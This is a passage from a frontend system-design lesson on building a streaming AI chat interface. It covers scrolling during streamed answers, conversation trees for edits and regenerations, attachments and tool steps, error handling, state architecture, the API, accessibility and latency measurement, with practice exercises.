  • Scroll after the browser has laid out the new text: in the same animation frame callback that flushed tokens, after React commits (a layout effect), call sentinel.scrollIntoView({ block: "end" }) or set scrollTop. Use instant scrolling while streaming; smooth scrolling 50 times a second never catches up and looks like jelly.
  • When the user sends a new message, always scroll their question to the top of the view, and turn following on. Several products now pin the question near the top and let the answer fill the space below, instead of sticking to the bottom. The answer grows downward under a question that stays put, which reads more calmly.
  • Scroll anchoring is a browser feature (the CSS overflow-anchor property, auto by default) that keeps the visible content still when something above it changes size. It helps when an image loads above the reader. It can fight a bottom-pinned chat, so set overflow-anchor: none on the messages inside the list and leave it auto only on a small anchor element at the end, or handle all adjustments yourself. Chrome, Edge, and Firefox have had it for years, but Safari only added it in Safari 27 (2026), so never depend on it alone.
  • When older messages load at the top (a long conversation opened from the sidebar), keep the reader's position: note the scrollHeight before inserting, then add the difference to scrollTop after.
  • Honor prefers-reduced-motion: the Jump to latest button scrolls instantly instead of smoothly for those users.

Check your understanding · Exercise 6

A user scrolls up 100 px to reread the question while an answer streams. A code block then arrives and adds 600 px. What should happen? Select all that apply.

History, edits, and regenerations: a conversation is a tree

Two message actions change the shape of the data. Regenerate asks for a new answer to the same question; the user then flips between versions with a small "2 / 3" control.

Edit changes an earlier question and resends it; everything after that point is replaced, but the old version stays reachable. A flat list of messages cannot hold either without deleting something. A tree can.

Decision How do we store a conversation that can branch?

Flat list, overwrite on edit

Messages in an array. Edit or Regenerate deletes everything after the changed message and appends new ones.

Pros

  • Trivial to render and store.

Cons

  • Old answers are lost; users complain when a worse answer replaces a good one.
  • No versions control.

Flat list with versions per slot

Each position holds an array of versions; the UI shows the selected one.

Pros

  • Handles regenerate well.

Cons

  • Breaks with edits: version 2 of question 3 has its own follow-ups, which do not belong to version 1. The slots stop lining up.

Tree of messages with a current leaf

Every message has a parentId. Siblings share a parent: two answers to one question, or two versions of an edited question.

The conversation stores currentLeafId. The visible thread is the path from the root to that leaf.

Pros

  • Edits and regenerations are both just a new child of the same parent.
  • Every version and its follow-ups stay intact.

Cons

  • The client walks parent links to build the thread.
  • The model's context is the path, so the server must build it the same way.

What we pick: A tree with a current leaf. It is the shape ChatGPT's own conversation export uses (a mapping of nodes with parent and children, plus a current_node), and the only one that keeps every version honest. Rendering stays simple: compute the path from root to leaf once per change, and render it as a list.

A conversation tree. Question Q1 has two answers, A1 and A1-b, because the user regenerated. Under A1 the user asked Q2, then edited it into Q2-b. Q2 has answer A2, and Q2-b has answer A2-b. The current leaf is A2-b, so the screen shows the path Q1, A1, Q2-b, A2-b, with a 1 of 2 control on A1 and a 2 of 2 control on Q2-b.Q1A1A1-bQ2Q2-bA2A2-b1 / 22 / 2regenerate:new answer, same Qedit: new questionunder the same Acurrent leaf: A2-bshows its path
Regenerate and edit both add a sibling under the same parent. The thread on screen is the path from the root to the current leaf; switching versions only moves the leaf.

Walk through the figure. Question Q1 has two answers, A1 and A1-b (the user regenerated). Under A1, the user asked Q2, then edited it into Q2-b, which got A2-b. The current leaf is A2-b, so the screen shows Q1, A1, Q2-b, A2-b, with a "2 / 2" control on Q2-b and a "1 / 2" control on A1.

Pressing the left arrow on Q2-b moves the current leaf to the deepest latest descendant of Q2, which is A2. Switching versions is a client-side change of currentLeafId, plus a small PATCH so other devices open the same branch.

The actions, one by one

ActionClient doesServer does
Copy answerCopies the original markdown with navigator.clipboard.writeText, from a click handler. Offers a rich copy too, by writing both text/plain and text/html with navigator.clipboard.write.Nothing. Optionally logs the copy as a quality signal.
Copy code blockCopies the raw code of that block only, without the fence or language name.Nothing.
RegenerateAdds an empty assistant node as a sibling of the old answer, sets it as current leaf, starts a stream with the same parent.Builds context from the path to the parent, generates a new child.
Edit questionOpens the question in an inline editor. On save, adds a new user node as a sibling, with a fresh idempotency key, and streams its answer.Stores the new user node and its answer under the same parent.
Switch versionChanges currentLeafId to the deepest latest leaf under the chosen sibling.Stores the new current leaf for this conversation.
FeedbackThumbs up or down, with an optional reason.Stores it against the message ID from the start event.

Heavy users have thousands of conversations. The sidebar loads the 30 most recent with cursor pagination (GET /api/conversations?cursor=...), ordered by last activity, and loads more as the user scrolls near the end. Group them by date (Today, Yesterday, Previous 7 days) on the client. A plain list of a few hundred rows is fine; past that, window it as the virtualization lesson describes.

A new conversation has no title. The client shows "New chat" or the first words of the question, and the server generates a real title with a small model after the first answer. The title arrives later, either as an event at the end of the stream (event: title) or through a refetch of the sidebar. Show it with a short fade, so it does not look like a glitch, and never overwrite a title the user renamed by hand.

Drafts that survive a reload

Losing a long prompt to an accidental reload is painful. Save the composer text per conversation in localStorage (or IndexedDB if drafts carry attachments), throttled to every 500 ms of typing, keyed by conversation ID, with a new-chat key for the empty state.

Clear the draft when the message is sent and the server confirms it. On load, restore the draft and put the cursor at the end. Drafts are per device on purpose: syncing half-typed text across devices surprises people.

Check your understanding · Exercise 7

The tree is Q1, then A1 and A1-b as siblings; under A1 there is Q2 then A2. The current leaf is A2. The user presses Regenerate on A2. Which statements are true? Select all that apply.

Attachments, tool steps, rate limits, and errors

Attachments upload first, then the message refers to them

Do not put a 15 MB PDF inside the chat POST. If the stream drops, a retry would upload it again, and the request body would block the start of the answer. Instead, upload each file as soon as the user picks or drops it, while they are still typing.

Ask the server for an upload URL (POST /api/files returns a file ID and a signed URL), upload with progress, and show a chip with a progress ring in the composer. The chat request then carries only file IDs. The Send button waits until every upload has finished, or sends and lets the server wait, but it never sends a message that silently drops a file.

  • Check type and size on the client first (for example 20 MB, common document and image types), for a fast error; the server checks again, because client checks can be bypassed.
  • Show image thumbnails from a local object URL (URL.createObjectURL(file)) right away, and revoke it when the chip is removed.
  • Server-side processing (text extraction, virus scan) can take seconds. Show a "processing" state on the chip from a status field, so users know why Send is waiting.

Tool calls shown as steps

Modern assistants search the web, read files, and run code before or during an answer. Each tool call can take seconds, and an answer with no visible progress for 20 seconds feels broken. The tool events in our stream carry a step ID, the tool name, a status (running, done, failed), and a short label.

The client renders them as a small collapsible list above or inside the answer: "Searching the web for SSE spec", then "Read 4 sources", then the text. Steps are part of the message, stored in its content parts, so they render the same way after a reload.

An assistant message with three tool steps above the text: Searched the web for SSE spec, done; Read 4 sources, done; Running code, in progress. Below them, the answer text Here is what I found, and numbered citation links 1 and 2. Notes say steps are parts of the message, their status comes from tool events, and citations are numbered links to sources.assistant messagedone: searched the web, SSE specdone: read 4 sourcesrunning code...Here is what I found:[1] html.spec.whatwg.org[2] developer.mozilla.orgsteps are partsof the messagestatus comes fromtool eventscitations linkto sources
Steps render from the same message parts while streaming and after a reload, so a long tool call never looks like a frozen screen.

Reasoning models add a similar part: a thinking phase that may last a minute before any visible text. Show elapsed time ("Thinking for 24 s") and, if the product shows them, summaries of the reasoning in a collapsed section. Count time to first token from the first visible answer text, and record the thinking time separately, or your latency charts will mix two different things.

Rate limits and overload

Two kinds of "no" are common, and they need different treatment. A rate limit means this user has used their quota: the server answers 429 Too Many Requests, ideally with a Retry-After header (seconds, or an HTTP date) and a JSON body naming the limit and when it resets.

Do not retry automatically. Show the reason in plain words, the time it resets ("You can send more messages at 4:30 PM"), and offer a smaller model if the product has one. Keep the user's typed message in the composer; never clear it on an error.

Overload means the model is busy for everyone: a 503 Service Unavailable or 529 from some providers, or an error event midway through the stream with a code like overloaded. Here, retrying is right, with backoff and jitter so a million clients do not retry in the same second (the retries and backoff lesson explains why).

Retry at most two or three times automatically, then show "The model is busy" with a Retry button. For errors in the middle of an answer, keep the partial text and attach the error to that message, not to the page.

FailureDetected byRetry automatically?What the user sees
Rate limit429 with Retry-AfterNoWhy, when it resets, a smaller-model option; message kept in the composer.
Model overloaded503 or 529, or error event overloadedYes, 2 or 3 times with backoff and jitterA short "retrying" state, then a Retry button.
Network drop mid-streamRead rejects, or no event for 30 sYes: resume from the last event IDPartial text stays; a quiet "reconnecting" line.
Context too long400 with code context_lengthNoSuggest starting a new chat, or summarizing the conversation.
Content filtereddone with finish content_filterNoA neutral note on the message explaining it stopped.
Output limit reacheddone with finish lengthNoA Continue button that asks the model to go on.
Auth expired401Once, after refreshing the tokenNothing, or a sign-in prompt if refresh fails.

Check your understanding · Exercise 8

A free user sends a message and gets 429 with Retry-After: 5400. Which client behaviors are right? Select all that apply.

Architecture: the pieces and where the boundaries go

Now put the decisions together. The client has two kinds of data with very different lives. Conversation history and the sidebar are ordinary server data: fetched, cached, refetched.

The answer being streamed is hot, local, changing 60 times a second, and owned by one tab. Mixing them in one store is the most common architecture mistake in this problem, so the design keeps them apart.

The component architecture. In the browser, top row: Sidebar, Thread, Composer. Middle row: Server cache, Streaming store, Stream controller. Third row: Announcer, Markdown, Highlighter worker, and Telemetry below. The composer sends to the stream controller, which talks to the Chat API with POST and SSE and writes deltas to the streaming store. The streaming store feeds the thread, the markdown renderer, and the announcer, and hands finished messages to the server cache, which feeds the sidebar and thread and loads history from the History API. On the server, the Chat API calls the Model API and writes an event buffer for resume.BrowserServerSidebarlist, titlesThreadpath to leafComposerdrafts, filesServer cachehistoryStream storeper frameControllerfetch, parseAnnouncerlive regionMarkdownblocks, safeHighlighterweb workerTelemetryModel APIproviderChat APIPOST, SSEEvent bufferfor resumeHistory APIGET, PATCH history
Two kinds of state, kept apart: the server cache for history, and a hot streaming store for the answer in progress. The stream controller lives outside React, so switching conversations never aborts an answer.
PartResponsibilityWhy it is separate
Chat pageLayout: sidebar, thread, composer. Reads the route (/c/:conversationId).The URL is the source of truth for which conversation is open, so links and the back button work.
Server cache (TanStack Query or similar)Conversation list pages, conversation trees, user quota. Handles caching, refetch, and pagination.Server data has its own rules: staleness, retries, deduping. A query library already solves them.
Stream controllerOne per active generation. Owns the fetch, the AbortController, the parser, the last event ID, retry and resume, and the token buffer.Not React state: it lives outside renders and survives the user switching conversations mid-answer.
Streaming storeThe text and steps of answers in progress, keyed by message ID, flushed once per frame.Hot state updated 60 times a second must not invalidate the whole server cache or re-render the sidebar.
Thread viewComputes the path from root to current leaf and renders messages. Long threads are windowed.Pure function of the tree plus the streaming store.
Markdown rendererBlock splitting, memoized finished blocks, the open-block fixups, safe URL and image handling.The heaviest rendering code; isolated so it can be profiled and tested alone.
Highlight workerSyntax highlighting for finished code blocks, off the main thread, grammars loaded lazily.Keeps tasks of tens of milliseconds off the main thread.
ComposerText input, attachments with uploads, drafts, the Send and Stop button.Its internals are the rich text editor problem; here it only emits a send event.
Live announcerOne visually hidden live region that receives sentence-sized updates.Screen reader output needs its own pacing, separate from the visual stream.
TelemetryRecords send time, first token, last token, errors, and stop reasons; sends them in batches.Measurement must not slow down the stream it measures.

When the stream finishes, the streaming store hands the final message to the server cache: it writes the complete message into the cached conversation tree (using the server's message ID from start) and deletes its own entry. From that moment the message is ordinary history. This handoff is the one place where the two kinds of state meet, and it is worth stating out loud in the interview.

Why does the stream controller live outside React? Because the user may switch to another conversation while an answer streams. If the stream were tied to a component, unmounting it would abort the answer. Kept in a module-level registry keyed by message ID, the answer keeps streaming in the background, the sidebar shows a small spinner on that conversation, and coming back shows the full text at once.

The data flow. The Model API sends tokens to the backend, which writes SSE events onto an HTTP/2 stream. Chunks arrive at the stream controller, which also sends the POST. The controller parses deltas into the streaming store, which flushes to the thread once per frame. On done, the store hands the message to the server cache, which gives pages to the sidebar and history to the thread. The composer sends the user's text to the controller. History is fetched by REST GET.Model APIproviderBackendSSE writerNetworkHTTP/2tokenseventsControllerdecode, parseStream storehot textThreadmarkdownchunksPOSTdeltasper frameSidebartitlesServer cachehistoryComposeruser texton donepagessendhistory is fetched with REST GET
Bytes become chunks, chunks become events, events become text in a store, and the store becomes pixels once per frame. On done, the message leaves the hot path and becomes ordinary cached history.

Think first

The user has the same conversation open in two tabs and sends a message from tab A. What does tab B show, and how?

Data model: what lives where

A message is not one string. It is a list of parts: text, tool steps, attachments, citations. Storing parts from the start means a tool step or an image in the middle of an answer needs no special case, and the same renderer draws a message while it streams and after a reload.

ts
type Role = "user" | "assistant";
type Status = "pending" | "streaming" | "done" | "stopped" | "interrupted" | "error";

type Part =
  | { kind: "text"; text: string }                       // markdown source
  | { kind: "file"; fileId: string; name: string; mime: string }
  | { kind: "tool"; stepId: string; tool: string; label: string; status: "running" | "done" | "failed" }
  | { kind: "citation"; n: number; url: string; title: string };

type Message = {
  id: string;              // server ID, from the start event
  clientId: string;        // idempotency key, made before sending
  parentId: string | null; // the tree link
  role: Role;
  parts: Part[];
  status: Status;
  finish?: "stop" | "length" | "cancelled" | "content_filter";
  model?: string;
  createdAt: string;
};

type Conversation = {
  id: string;
  title: string | null;    // filled in later by the server
  currentLeafId: string;
  updatedAt: string;
  messages: Record<string, Message>; // keyed by ID; children found by parentId
};
Messages are stored by ID, not in an array, because the thread is a path through a tree.

The streaming state is separate and small. It holds, per message being generated: the text received so far, the steps, the last applied sequence number (for skipping replayed events on resume), the last event ID (for Last-Event-ID), and the timestamps for telemetry. It does not hold the parsed markdown; the renderer derives that and memoizes it per block.

The data model. A Conversation in the server cache has id, a title filled in later, currentLeafId, and messages by ID. Each Message has id and clientId, parentId, role and status, parts, and finish reason and model. A Part is one of text, file, tool step, or citation. Separately, per tab, the streaming state holds the text so far, the last sequence number and event ID, and timestamps; on done it becomes a Message. Drafts live in localStorage.Conversationserver cacheidtitle (later)currentLeafIdmessages by IDMessageserver cacheid, clientIdparentIdrole, statuspartsfinish, modelPartone oftextfiletool stepcitationDraftlocalStorageStreamingper tab, hottext so farlast seq + IDtimestamps
Messages are stored by ID because the thread is a path through a tree, linked by parentId. The streaming state is separate and short-lived, and turns into a normal message on done.
DataWhere it livesWhy
Open conversation IDURL (/c/:id)Shareable, works with back and forward, survives reload.
Conversation list pagesServer cache, by cursorServer-owned; refetched on focus and after a new title arrives.
Conversation treeServer cache, one entry per conversationServer-owned; the stream's final message is written into it.
Answer in progressStreaming store, by message IDChanges per frame; owned by this tab only.
Stream controllerModule-level registryMust survive navigation and component unmounts.
Composer draftslocalStorage, by conversation IDSurvive reload; per device on purpose.
Uploads in progressComposer state, plus file IDs from the serverShort-lived; only the IDs go into the message.
Highlighted codeIn-memory cache keyed by a hash of language plus codeExpensive to compute, cheap to keep; never sent to the server.

Check your understanding · Exercise 9

Why keep the answer in progress out of the server cache until it finishes? Select all that apply.

Interface: the API and the components

The API has one streaming endpoint and a handful of plain REST ones. Keep the plain ones boring: JSON in, JSON out, cursor pagination, one error shape everywhere.

Method and pathPurposeNotes
POST /api/chatSend a user message and stream the answer.Body: conversation ID (or none for a new chat), parent ID, text, file IDs, model. Header Idempotency-Key. Response: text/event-stream.
GET /api/messages/:id/streamResume or join a stream.Header Last-Event-ID. Replays buffered events after it, then continues live. 404 or an event: gone if the buffer expired.
POST /api/messages/:id/stopStop generating.Idempotent. Returns the final saved text and finish reason.
POST /api/messages/:id/regenerateNew answer as a sibling.Streams like /api/chat. Also takes an idempotency key.
GET /api/conversations?cursor=Sidebar page.30 items: ID, title, updated time. Returns nextCursor.
GET /api/conversations/:idThe whole tree and current leaf.For very long conversations, the server can return only the current path first.
PATCH /api/conversations/:idRename, set current leaf, archive.Small partial updates.
POST /api/filesStart an upload.Returns a file ID and a signed upload URL.
json
{
  "error": {
    "code": "rate_limited",
    "message": "You have reached the limit for this model.",
    "resetsAt": "2026-10-20T16:30:00Z",
    "retryable": false,
    "alternatives": ["fast-2"]
  }
}
One error shape for every endpoint, and the same shape inside an error stream event. The client branches on code, never on the message text.

Note the retryable flag. The server knows better than the client whether a failure is worth retrying, so it says so. The client still caps automatic retries, so a bug in the flag cannot cause a retry storm.

Component interfaces

tsx
type ThreadProps = {
  conversationId: string;
  onAction: (a: MessageAction) => void; // copy, regenerate, edit, switch version, feedback
};

type AssistantMessageProps = {
  message: Message;            // finished parts from the server cache
  streaming?: StreamingState;  // present while this message streams
  versions?: { index: number; count: number };
};

type ComposerProps = {
  draftKey: string;
  busy: boolean;               // an answer is streaming: the button becomes Stop
  onSend: (text: string, fileIds: string[]) => void;
  onStop: () => void;
};

type MarkdownProps = {
  source: string;
  open: boolean;               // last block may be unfinished: apply fixups
  onCodeCopy?: (code: string) => void;
};
The Markdown component knows nothing about streaming except one flag: whether the text may be unfinished.

Check your understanding · Exercise 10

Why does the design have a separate GET /api/messages/:id/stream endpoint when POST /api/chat already streams? Select all that apply.

Accessibility, performance, and measuring cost and latency

Announcing a streamed answer

A screen reader user cannot see the answer grow, so the page must tell them. The naive approach is to put the answer inside an aria-live="polite" region. Then every flush is a change.

The screen reader either reads fragments ("Sure. Here", "is a short", "example") or queues dozens of announcements and falls far behind. Some screen readers read only the changed text, others re-read the whole region, which is worse. The screen readers lesson explains how live regions queue; here is the design.

Decision How should a screen reader user hear the streamed answer?

Announce when done

Announce "Answer ready" (or a short opening) when done arrives. The user reads the message with normal reading keys.

Pros

  • Predictable, never floods. Works the same in every screen reader.

Cons

  • A long answer means 30 seconds of silence; the user may think nothing happened.

Announce in sentence batches

A separate live region receives complete sentences as they finish, at most one update every 2 to 3 seconds.

Pros

  • The user hears the answer progress, much like a sighted reader watching it.

Cons

  • More logic. Code blocks and tables read badly sentence by sentence.

Live region on the message itself

aria-live directly on the growing message.

Pros

  • No extra code.

Cons

  • Floods or fragments, as described. The worst option.

What we pick: Default to announcing a short status when the answer starts ("Generating answer") and when it ends ("Answer complete", with the first sentence), and offer sentence-batch reading as a setting. Code blocks are never read into the live region: announce "code block, Python, 24 lines" instead. Mark the message with aria-busy="true" while it streams. It hints to assistive technology that the content is still changing, but screen reader support varies, so the separate live region does the real work.

  • The thread is a list of articles: each message is an article element with a heading or label such as "You said" and "Assistant said", so screen reader users can jump between messages.
  • Focus stays in the composer after Send. The Stop button is reachable with Tab and with Escape while focus is in the composer.
  • Message actions are real buttons with labels ("Copy answer", "Previous version, 1 of 3"), visible on focus, not only on hover.
  • The Jump to latest button and the version arrows have accessible names, and the version change is announced ("Showing version 2 of 3").
  • Code blocks scroll horizontally, so they need tabindex="0" and a label for keyboard users to scroll them.

Performance targets and long threads

The runtime performance lesson covers long tasks and INP in general. For this screen, the budget is: no task over 50 ms during a stream, measured with the Long Animation Frames API (PerformanceObserver with type long-animation-frame, in Chromium browsers), which also says which script caused it.

The frame batching, block memoization, and worker highlighting from earlier chapters exist to meet this budget. Load the markdown renderer and its plugins with the chat page, but the highlighter, math typesetting, and diagram renderers only on first use. For threads past about 100 messages, window the list so only messages near the viewport are mounted, with the streaming message always mounted.

Measuring latency and cost

Users experience this product as a few numbers, so measure them on real devices, not just on the server. The real user monitoring lesson covers how to collect and send them; these are the ones that matter here.

MetricHow the client measures itWhy it matters
Time to first tokenSend click to first painted text, with performance.now().The number users judge the product by. Track p50 and p95 per model and per region.
Time to first eventSend click to the start event.Separates network and queueing from the model's own delay.
Tokens per secondOutput tokens from done divided by the time from first to last token.Shows model or server slowdowns that TTFT misses.
Client render costFirst event parsed to first text painted; long animation frames during streams.Catches our own regressions: a new markdown plugin, a slow highlighter.
Stop rate and stop pointStops per answer, and tokens received before the stop.Many early stops point to bad answers or slow starts. It also measures waste.
Drop and resume rateStreams that end without done, and how many resumed.Tells you if proxies or networks cut streams.
Errors by code429, 503, 529, filtered, context too long.Capacity planning and quota tuning.

Cost lives on the server, in token counts, but the client adds two useful signals: what the user did with an answer (copied it, regenerated it, stopped it) and how long it took to appear on their device. Join them on the message ID from the start event. Then "this model is 20 percent cheaper" can be weighed against "and users regenerate 2 times as often".

Check your understanding · Exercise 11

Which choices give a screen reader user a good experience during streaming? Select all that apply.

Running it in the interview

Forty-five minutes is enough for the requirements, one architecture picture, and two or three deep dives. The deep dives that impress in this problem are the ones that only exist because the answer streams: the parser and resume path, incremental markdown, and scroll. Messaging basics, such as the conversation list, are worth a sentence each, not ten minutes.

MinutesWhat to doWhat to draw or say
0 to 5RequirementsStreamed markdown, stop, regenerate and edit with versions, attachments and tools, history. TTFT and smoothness as the key numbers. Model serving out of scope.
5 to 12ArchitectureDraw the design diagram: server cache vs streaming store, the stream controller outside React, the renderer, the worker. Say why the two kinds of state are split.
12 to 20Transport and eventsfetch streaming over POST, the event types, and the parser's three layers. Mention TextDecoderStream and split lines.
20 to 28Stop and failureThe state machine. AbortController plus the server-side cancel. Resume with Last-Event-ID, idempotency keys on send.
28 to 36RenderingFrame batching, block splitting, half-open fences, highlighting after the block closes, sanitizing and the image leak.
36 to 42Scroll, tree, accessibilityStick to bottom by intent; messages as a tree with a current leaf; announcing without flooding.
42 to 45MeasureTTFT, tokens per second, render cost, stop and drop rates, joined on message ID.

Say decisions as trade-offs, with the losing option named: "I'll read the stream with fetch instead of EventSource, because I need a POST body and an auth header. The cost is that I parse events and handle reconnects myself, so I'll keep the server format compatible with EventSource and add a GET resume endpoint." That one sentence shows you know both tools, why you chose, and how you limit the downside.

Follow-up questions to expect

Think first

"The model gets twice as fast: 300 tokens per second. What changes in your client?"

Think first

"On mobile, the user switches apps mid-answer and comes back two minutes later. What happens?"

Think first

"Product wants the model to generate small interactive web pages that run in the chat. How do you make that safe?"

Check your understanding · Exercise 12

You have 10 minutes left and have covered requirements, architecture, and streaming. Which deep dives are the best use of the time? Select all that apply.

Summary

  • Read the answer with fetch and a streamed body, in the text/event-stream format: a chat turn needs a POST body and auth headers, which EventSource cannot send.
  • Parse in three layers: TextDecoderStream for split characters, a line buffer for split lines, and an event builder that emits at each blank line.
  • Stop means two things: abort() the request, and make the server cancel its model call so nobody pays for unread tokens.
  • Decouple generation from the connection so a dropped stream can resume with Last-Event-ID; use an idempotency key so a retried send never creates a second answer.
  • Render once per animation frame and re-parse only the last open block; highlight code after its fence closes, off the main thread.
  • Model output is untrusted: render a syntax tree with raw HTML off, check link protocols, and do not auto-load images from unknown hosts.
  • Follow the stream only while the user has not scrolled up; decide by user intent, not by distance from the bottom.
  • A conversation with edits and regenerations is a tree with a current leaf; the visible thread is the path to that leaf.
  • Announce streamed answers at a human pace through a separate live region (with aria-busy only as a hint), and measure time to first token on real devices.

Check your answer

Tick what your own design covered. Pick the level you're interviewing for: each level includes the ones before it.

Junior 0 of 4
Mid-level 0 of 5

References

Concepts behind it

Try next